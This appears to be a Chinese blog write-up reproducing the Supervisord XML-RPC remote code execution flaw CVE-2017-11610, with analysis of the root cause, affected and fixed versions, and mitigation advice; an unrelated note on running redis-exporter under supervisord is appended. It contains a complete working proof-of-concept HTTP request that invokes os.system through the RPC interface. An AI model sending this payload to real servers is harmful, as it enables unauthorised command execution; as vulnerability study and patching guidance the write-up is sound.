Supervisord 远程代码执行漏洞(CVE-2017-11610)漏洞复现

复现视频链接:https://www.ichunqiu.com/course/58895

如下内容为复现及笔记

Supervisord 远程代码执行漏洞(CVE-2017-11610)漏洞复现

0x01 漏洞信息

Supervisord是使用Python 开发的进程管理程序,Supervisord能够将命令行进程或服务变为后台运行的deamon(守护进程)。Supervisord拥有监控进程状态的功能,在进程异常退出时能够自动重启进程。

Supervisord在配置了Web接口后,服务器会启动一个XMLRPC服务器,端口号为9001,利用本漏洞,在获取接口访问权限后,远程攻击者可利用发送一段精心构造的请求,导致可在服务器执行任意代码。

 

0x02 漏洞影响版本

Supervisord 3.1.2 <= Version <= 3.3.2

 

0x03 已经修复的版本

Supervisord 3.3.3 、Supervisord 3.2.4 、Supervisord 3.1.4 、Supervisord 3.0.1

 

0x04 漏洞分析

Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程,而RPC协议(远程过程调用协议),顾名思义就是客户端通过RPC协议可以在服务端执行某个函数,并得到返回结果。那么,如果客户端执行了服务端预料之外的函数(如os.system),就会导致漏洞的产生。

一个安全的RPC协议,会有一个函数名的映射,客户端只能调用在白名单之中的部分函数,并且这个“函数”只是真正函数的一个映射。

3.3.2版本中Supervisord是如何处理RPC调用如下:

代码逻辑如下:

  1. 将method用点号分割成数组path
  2. 遍历这个数组,每次获得一个name
  3. 如果name不以下划线开头,则获取ob对象的name属性,其作为新的ob对象
  4. 遍历完成后获得最终的ob对象,调用

实际上这个函数最后达成的效果就是:初始ob对象下的任意public方法,包括它的所有递归子对象的任意public方法,都可以被调用。

 

0x05 漏洞形成原因

ob对象即为self.rpcinterface,官方开发者可能认为可调用的方法只限制在这个对象内部,所以未做特别严格的白名单限制。导致调用存在的其他对象的方法,可以执行任意命令。

 

0x06 漏洞复现

1. 漏洞文件下载

 

2. 打开burpsuite工具,开启浏览器代理。

 

3. 访问目标地址

右击,选择Send to Repeater,将数据包发送至重放模块,点击Repeater查看本次需要修改的数据包。

 

 

4. 发包

发包执行成功

 

5. 使用POC查看命令是否执行

已经创建了hello文件,代码执行成功,

 

6. 漏洞复现完成

 

0x07 POC分析

漏洞利用模块查找方向:在非下划线开头的属性中可利用的模块。

 

漏洞发现者找到的self.rpcinterface.supervisor.supervisord.options.execve其实仍有缺陷,原因是Python的os.execve函数会使用新进程取代现有的进程,会导致Supervisord本身退出。

 

此实验中调用的对象方法为如下

supervisor.supervisord.options.warnings.linecache.os.system

 

POC代码如下:

 

POST /RPC2 HTTP/1.1

Host: localhost

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 275

 

<?xml version="1.0"?>

<methodCall>

<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>

<params>

<param>

<string>touch /tmp/hello</string>

</param>

</params>

</methodCall>

 

此为实验中的POC文档

基于上述构造的数据包Poc,可更换一个思路,将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,最终将结果显示出来。Poc代码如下图

 

0x08 漏洞影响与修复

漏洞形成条件:

Supervisord版本在受影响的范围内

RPC端口可被访问

RPC无密码或密码脆弱

 

默认安装的Supervisord,是只监听unix套接字的,所以外部IP无法访问,而且supervisord.sock文件权限默认是0700,其他用户是无法访问。但是如果开放了RPC端口,并且使用了默认密码或未设置密码,也是可以通过该漏洞进行利用的。对于一切漏洞我们都要做到防范于未然。

 

修复漏洞:

升级Supervisord

端口访问控制

设置复杂RPC密码

`supervisord` 是一个进程管理工具,它可以用来监控和控制多个后台进程。而 `redis-exporter` 是一种用于收集和导出 Redis 服务状态信息的监控工具,通常用于 Prometheus 这类监控系统。使用 `supervisord` 来部署 `redis-exporter` 的步骤大致如下: 1. 首先确保你的系统中已经安装了 `supervisord`,如果没有安装,可以通过包管理器进行安装,例如在 Ubuntu 上可以使用 `apt-get install supervisor`。 2. 下载 `redis-exporter` 的最新版本,可以通过直接下载预编译的二进制文件,也可以通过包管理器安装,或者使用源码编译安装。 3. 将下载的 `redis-exporter` 程序放置到适当的位置,并赋予它可执行权限。例如,如果你下载的是二进制文件,可以使用 `chmod +x redis_exporter`。 4. 创建一个配置文件,通常文件名为 `redis_exporter.ini`,配置文件内容会包含 `redis-exporter` 的启动命令和配置参数。这个配置文件通常放在 `/etc/supervisor/conf.d/` 目录下。 例如: ``` [program:redis_exporter] command=/path/to/redis_exporter --redis.addr 127.0.0.1:6379 autostart=true autorestart=true stderr_logfile=/var/log/redis_exporter.err.log stdout_logfile=/var/log/redis_exporter.out.log ``` 在这个配置中,`command` 指定了 `redis_exporter` 的启动命令和必要的参数,`autostart` 和 `autorestart` 控制进程是否随 `supervisord` 启动和是否自动重启,`stderr_logfile` 和 `stdout_logfile` 指定了标准错误和标准输出日志文件的存放位置。 5. 更新 `supervisord` 配置,让它知道有新的程序配置需要加载。可以通过运行 `supervisorctl reread` 和 `supervisorctl update` 来完成这个操作。 6. 最后,使用 `supervisorctl start redis_exporter` 命令启动 `redis-exporter` 进程。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值